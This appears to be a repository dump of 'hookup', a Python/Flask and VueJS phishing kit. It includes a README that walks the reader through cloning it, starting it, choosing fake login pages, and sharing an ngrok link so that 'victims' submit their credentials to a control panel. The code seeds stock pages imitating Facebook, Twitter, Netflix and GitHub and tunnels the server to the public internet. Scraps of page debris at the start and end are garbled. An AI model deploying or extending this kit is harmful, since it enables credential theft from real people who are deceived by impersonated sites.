162 |
163 |
195 |
196 |
201 |
202 | 197 | New to GitHub? 198 | Create an account. 199 |
200 |
5 |
6 |
7 | 
8 |
9 | 
14 |
15 | A phishing tool that is written in Python and VueJS
16 |
17 | ## Installation 📀
18 |
19 | ### Step 1
20 | ---
21 | Launch your terminal
22 |
23 | ```bash
24 | λ git clone https://github.com/bufgix/hookup
25 | λ cd hookup
26 | ```
27 |
28 | Install dependencies with `pip`
29 |
30 | ```bash
31 | λ pip install -r requirements.txt
32 | ```
33 |
34 |
35 | ### Step 2
36 | ---
37 |
38 | Run phishing and GUI server. If you have never launched the program before, it will ask for username and password.
39 |
40 | ```
41 | λ python run.py
42 | Username: bufgix
43 | Password
44 | [+] Done
45 | * Serving Flask app "hookup" (lazy loading)
46 | * Environment: production
47 | WARNING: This is a development server. Do not use it in a production deployment.
48 | Use a production WSGI server instead.
49 | * Debug mode: on
50 | * Restarting with stat
51 | ```
52 |
53 | If everything is ok, you'll see the ngrok page which is shown below
54 | 
55 |
56 | And now, open your favorite browser then type `http://localhost:5000/adminpage` for the control panel.
57 |
58 | ## Usage 👨💻
59 | ---
60 |
61 | 
62 |
63 | Login with your username and password (you set them on step 2)
64 |
65 | #### Configure
66 | 
67 |
68 | On the configuration panel, you'll see that some fake pages have been already set up. Select the one for your use. "Current Page" part contains the data that victim will see.
69 |
70 | ### Results
71 | 
72 | The ngrok URL publishes your local server to the internet. You can get your fake page's URL at the top right corner of the screen(the part which says "Ngrok Url: ".). If your victim types their credientals correctly and pushes the send button, you'll handle the POST payload and results will be shown like the image above.
73 |
74 |
75 |
76 | ## Author
77 |
78 | 👤 **bufgix**
79 |
80 | * Website: http://bufgix.space
81 | * Twitter: [@bufgix](https://twitter.com/bufgix)
82 | * Github: [@bufgix](https://github.com/bufgix)
83 |
84 | ## Show your support
85 |
86 | Give a ⭐️ if this project helped you!
87 |
88 | ***
89 |
--------------------------------------------------------------------------------
/hookup/__init__.py:
--------------------------------------------------------------------------------
1 | from hookup.utils import PROJECT_DIR
2 | from hookup.flask_ngrok import run_with_ngrok
3 |
4 | from flask import Flask, render_template, request
5 | from flask_cors import CORS
6 | from flask_sqlalchemy import SQLAlchemy
7 | from flask_login import LoginManager
8 | import pathlib
9 | import jinja2
10 |
11 |
12 | __version__ = "v1.2.0"
13 | __version_client__ = "v1.1.0"
14 |
15 | static_folder = PROJECT_DIR / 'hookup-frontend' / 'dist'
16 | upload_folder = PROJECT_DIR / 'uploads'
17 |
18 | app = Flask(__name__, static_folder=static_folder, static_url_path="/")
19 |
20 | app.config["SQLALCHEMY_DATABASE_URI"] = "sqlite:///42.db"
21 | app.config['SQLALCHEMY_TRACK_MODIFICATIONS'] = False
22 | app.config['SECRET_KEY'] = "8c74a213d30f874095c630af"
23 | app.config['UPLOAD_FOLDER'] = upload_folder
24 | app.url_map.strict_slashes = False
25 | CORS(app, resources={r"/api/*": {"origins": "*"}})
26 |
27 | db = SQLAlchemy(app)
28 | login_manager = LoginManager(app)
29 | login_manager.login_view = "login"
30 |
31 |
32 | ## Added front end templates
33 | template_dir = PROJECT_DIR / 'hookup-frontend' / 'dist'
34 | template_loader = jinja2.ChoiceLoader([
35 | app.jinja_loader,
36 | jinja2.FileSystemLoader(str(template_dir))
37 | ])
38 |
39 | app.jinja_loader = template_loader
40 |
41 | from hookup.views import *
42 |
43 |
44 | def start_server():
45 | run_with_ngrok(app)
46 | app.run(debug=True, host="0.0.0.0")
47 |
--------------------------------------------------------------------------------
/hookup/cli.py:
--------------------------------------------------------------------------------
1 | from hookup import db
2 | from hookup.models import Page, User
3 | import getpass
4 |
5 | DEFAULT_SITES = ["facebook", "twitter", "netflix", "github"]
6 |
7 | def create_superuser():
8 | username = input("Username: ")
9 | password = getpass.getpass("Password ")
10 | user = User(username=username, password=password)
11 | user.save()
12 |
13 | def register_sites(sites=DEFAULT_SITES):
14 | user = User.query.first()
15 | for site in sites:
16 | page = Page(name=site, source=f"{site}.html", stock=True)
17 | user.pages.append(page)
18 | user.save()
19 |
20 | def main():
21 | db.create_all()
22 | exists = User.query.first()
23 | if not exists:
24 | create_superuser()
25 | register_sites()
26 | print("[+] Done")
27 |
28 | if __name__ == '__main__':
29 | main()
30 |
31 |
--------------------------------------------------------------------------------
/hookup/flask_ngrok.py:
--------------------------------------------------------------------------------
1 | import atexit
2 | import json
3 | import os
4 | import platform
5 | import shutil
6 | import subprocess
7 | import tempfile
8 | import time
9 | import zipfile
10 | from pathlib import Path
11 | from threading import Timer
12 |
13 | import requests
14 |
15 |
16 | def _get_command():
17 | system = platform.system()
18 | if system == "Darwin":
19 | command = "ngrok"
20 | elif system == "Windows":
21 | command = "ngrok.exe"
22 | elif system == "Linux":
23 | command = "ngrok"
24 | else:
25 | raise Exception("{system} is not supported".format(system=system))
26 | return command
27 |
28 |
29 | def _run_ngrok(port):
30 | command = _get_command()
31 | ngrok_path = str(Path(tempfile.gettempdir(), "ngrok"))
32 | _download_ngrok(ngrok_path)
33 | executable = str(Path(ngrok_path, command))
34 | os.chmod(executable, 0o777)
35 | ngrok = subprocess.Popen([executable, 'http', str(port)])
36 | atexit.register(ngrok.terminate)
37 | localhost_url = "http://localhost:4040/api/tunnels" # Url with tunnel details
38 | time.sleep(1)
39 | tunnel_url = requests.get(localhost_url).text # Get the tunnel information
40 | j = json.loads(tunnel_url)
41 |
42 | tunnel_url = j['tunnels'][0]['public_url'] # Do the parsing of the get
43 | tunnel_url = tunnel_url.replace("https", "http")
44 | return tunnel_url
45 |
46 |
47 | def get_tunnel_url():
48 | localhost_url = "http://localhost:4040/api/tunnels" # Url with tunnel details
49 | # time.sleep(1)
50 | tunnel_url = requests.get(localhost_url).text # Get the tunnel information
51 | j = json.loads(tunnel_url)
52 |
53 | tunnel_url = j['tunnels'][0]['public_url'] # Do the parsing of the get
54 | tunnel_url = tunnel_url.replace("https", "http")
55 | return tunnel_url
56 |
57 |
58 | def _download_ngrok(ngrok_path):
59 | if Path(ngrok_path).exists():
60 | return
61 | system = platform.system()
62 | if system == "Darwin":
63 | url = "https://bin.equinox.io/c/4VmDzA7iaHb/ngrok-stable-darwin-amd64.zip"
64 | elif system == "Windows":
65 | url = "https://bin.equinox.io/c/4VmDzA7iaHb/ngrok-stable-windows-amd64.zip"
66 | elif system == "Linux":
67 | if "ANDROID_DATA" in os.environ:
68 | url = "https://bin.equinox.io/c/4VmDzA7iaHb/ngrok-stable-linux-arm64.zip"
69 | else:
70 | url = "https://bin.equinox.io/c/4VmDzA7iaHb/ngrok-stable-linux-amd64.zip"
71 | else:
72 | raise Exception(f"{system} is not supported")
73 | download_path = _download_file(url)
74 | with zipfile.ZipFile(download_path, "r") as zip_ref:
75 | zip_ref.extractall(ngrok_path)
76 |
77 |
78 | def _download_file(url):
79 | local_filename = url.split('/')[-1]
80 | r = requests.get(url, stream=True)
81 | download_path = str(Path(tempfile.gettempdir(), local_filename))
82 | with open(download_path, 'wb') as f:
83 | shutil.copyfileobj(r.raw, f)
84 | return download_path
85 |
86 |
87 | def start_ngrok(port):
88 | ngrok_address = _run_ngrok(port)
89 | print(f" * Running on {ngrok_address}")
90 | print(f" * Traffic stats available on http://127.0.0.1:4040")
91 |
92 |
93 | def run_with_ngrok(app):
94 | """
95 | The provided Flask app will be securely exposed to the public internet via ngrok when run,
96 | and the its ngrok address will be printed to stdout
97 | :param app: a Flask application object
98 | :return: None
99 | """
100 | old_run = app.run
101 |
102 | def new_run(*args, **kwargs):
103 | port = kwargs.get('port', 5000)
104 | thread = Timer(1, start_ngrok, args=(port,))
105 | thread.setDaemon(True)
106 | thread.start()
107 | old_run(*args, **kwargs)
108 | app.run = new_run
109 |
--------------------------------------------------------------------------------
/hookup/hookup-frontend/README.md:
--------------------------------------------------------------------------------
1 | # hookup-frontend
2 |
3 | ## Project setup
4 | ```
5 | npm install
6 | ```
7 |
8 | ### Compiles and hot-reloads for development
9 | ```
10 | npm run serve
11 | ```
12 |
13 | ### Compiles and minifies for production
14 | ```
15 | npm run build
16 | ```
17 |
18 | ### Lints and fixes files
19 | ```
20 | npm run lint
21 | ```
22 |
23 | ### Customize configuration
24 | See [Configuration Reference](https://cli.vuejs.org/config/).
25 |
--------------------------------------------------------------------------------
/hookup/hookup-frontend/babel.config.js:
--------------------------------------------------------------------------------
1 | module.exports = {
2 | presets: [
3 | '@vue/cli-plugin-babel/preset'
4 | ]
5 | }
6 |
--------------------------------------------------------------------------------
/hookup/hookup-frontend/dist/css/app.8d1078ab.css:
--------------------------------------------------------------------------------
1 | .md-app-toolbar[data-v-7ceb330f]{background-color:#212121!important}.md-progress-bar[data-v-7ceb330f]{margin:24px;width:100px}.md-app[data-v-7ceb330f],.page-container[data-v-7ceb330f]{height:100%}.ngrok-link[data-v-7ceb330f]{background-color:#424242;padding:5px}#app{font-family:Asap,sans-serif;letter-spacing:.5px;-webkit-font-smoothing:antialiased;-moz-osx-font-smoothing:grayscale;text-align:center;color:#2c3e50;height:100%;width:100%}.md-app{max-height:100%;border:1px solid rgba(0,0,0,.12)}.md-drawer{width:230px;max-width:calc(100vw - 125px)}.active{color:var(--md-theme-default-primary-on-background,#f8f4f4)!important;background-color:#212121}.active:hover{text-decoration:none}.md-card[data-v-e272a12a]{background-color:#212121;min-width:200px;padding:0;margin:0}.md-list-item .md-card[data-v-e272a12a]{width:100%}.dark-viewer[data-v-e272a12a]{background:#212121;white-space:nowrap;color:#eee;font-size:14px;font-family:Consolas,Menlo,Courier,monospace;clear:both}.dark-viewer .jv-ellipsis[data-v-e272a12a]{color:#999;background-color:#eee;display:inline-block;line-height:.9;font-size:.9em;padding:0 4px 2px 4px;border-radius:3px;vertical-align:2px;cursor:pointer;-webkit-user-select:none;-moz-user-select:none;-ms-user-select:none;user-select:none}.dark-viewer .jv-button[data-v-e272a12a]{color:#49b3ff}.dark-viewer .jv-item.jv-array[data-v-e272a12a],.dark-viewer .jv-key[data-v-e272a12a]{color:#111}.dark-viewer .jv-item.jv-boolean[data-v-e272a12a]{color:#fc1e70}.dark-viewer .jv-item.jv-function[data-v-e272a12a]{color:#067bca}.dark-viewer .jv-item.jv-number[data-v-e272a12a]{color:#fc1e70}.dark-viewer .jv-item.jv-object[data-v-e272a12a]{color:#111}.dark-viewer .jv-item.jv-undefined[data-v-e272a12a]{color:#e08331}.dark-viewer .jv-item.jv-string[data-v-e272a12a]{color:#42b983;word-wrap:break-word;overflow:hidden}.dark-viewer .jv-code .jv-toggle[data-v-e272a12a]:before{padding:0 2px;border-radius:2px}.dark-viewer .jv-code .jv-toggle[data-v-e272a12a]:hover:before{background:#eee}.md-card[data-v-7626944a]{background-color:#212121}.md-title[data-v-7626944a]{margin-bottom:10px}.md-textarea[data-v-7626944a]{font-family:Roboto Mono,monospace;min-height:200px}.md-snackbar[data-v-7626944a]{background-color:#212121;color:#f0f8ff}.md-card[data-v-2168d7e0]{background-color:#212121}.md-table+.md-table[data-v-2168d7e0]{margin-top:16px}.md-snackbar[data-v-2168d7e0]{background-color:#212121;color:#f0f8ff}.md-card[data-v-2168d7e0]{max-height:1000px}.md-textarea[data-v-2168d7e0]{height:900px}.md-card[data-v-a06afa1e]{height:100%;background-color:#212121}.md-card .md-layout-item .md-layout[data-v-a06afa1e]{height:100%}.logo-box ul[data-v-a06afa1e]{list-style:none;padding:0;text-align:center}.logo-box ul li[data-v-a06afa1e]{margin:10px}.info-box ul[data-v-a06afa1e]{list-style-type:none;padding:0;text-align:left}.info-box li[data-v-a06afa1e]{font-size:16px;margin:10px 0 10px 0}.info-box li[data-v-a06afa1e]:before{content:"✔️ "}.info-box li span[data-v-a06afa1e]{color:#398aff;background-color:#141311;padding:2px 5px 2px 5px}
--------------------------------------------------------------------------------
/hookup/hookup-frontend/dist/favicon.ico:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/bufgix/hookup/31d6a0d413c62d317f1b70c4d83541a00bf15d72/hookup/hookup-frontend/dist/favicon.ico
--------------------------------------------------------------------------------
/hookup/hookup-frontend/dist/index.html:
--------------------------------------------------------------------------------
1 | {{ result.date }}\r\n ![\"logo\"](\"/logo.svg\"){kind=logo}
\r\n 
9 | {{ result.date }}
22 | 197 | New to GitHub? 198 | Create an account. 199 |
200 |197 | New to GitHub? 198 | Create an account. 199 |
200 |